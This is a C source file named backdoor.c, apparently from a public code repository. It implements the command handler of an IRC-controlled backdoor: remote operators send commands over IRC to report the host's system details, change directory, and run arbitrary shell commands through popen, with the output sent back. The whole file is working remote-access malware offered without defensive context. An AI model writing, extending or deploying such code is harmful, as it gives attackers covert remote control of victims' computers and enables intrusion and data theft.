backdoor/src/backdoor.c

77 lines
1.4 KiB
C
Raw Normal View History

2024-04-21 16:39:15 +00:00
#include <unistd.h>
#include <sys/utsname.h>
#include "backdoor.h"
#include "irc.h"
static FILE *fp;
void backdoor_offline(void) {
sleep(60);
}
void send_info(IRCC_client *client, const char *buf) {
char *nick = strdup(client->irc_nick);
if (nick == NULL)
return;
IRCC_send(client, nick, buf);
free(nick);
}
void parse_cmd(IRCC_client *client) {
if (!strncmp(client->irc_msg, "!exit", 5)) {
IRCC_close(client);
exit(0);
}
else if (!strncmp(client->irc_msg, "!cd", 3))
chdir(client->irc_msg + 4);
else if (!strncmp(client->irc_msg, "!uname", 6)) {
struct utsname uts;
if (uname(&uts) < 0)
return;
char buf[COMMON_BUF_SIZE + 1];
snprintf(buf, sizeof(buf), "[Arch: %s] [Sys: %s %s] [Host: %s]", uts.machine, uts.sysname, uts.version, uts.nodename);
send_info(client, buf);
}
/* Shell */
else if (!strncmp(client->irc_msg, "!exec", 5)) {
if (fp != NULL)
pclose(fp);
fp = popen(client->irc_msg + 5, "wr");
}
else if (!strncmp(client->irc_msg, "!print", 5)) {
if (fp == NULL)
return;
char buf[COMMON_BUF_SIZE + 1];
if (fgets(buf, sizeof(buf), fp) == NULL) {
pclose(fp);
fp = NULL;
}
send_info(client, buf);
}
else if (!strncmp(client->irc_msg, "!write", 5)) {
if (fp == NULL)
return;
fputs(client->irc_msg + 5, fp);
}
else if (!strncmp(client->irc_msg, "!close", 5)) {
if (fp == NULL)
return;
pclose(fp);
fp = NULL;
}
}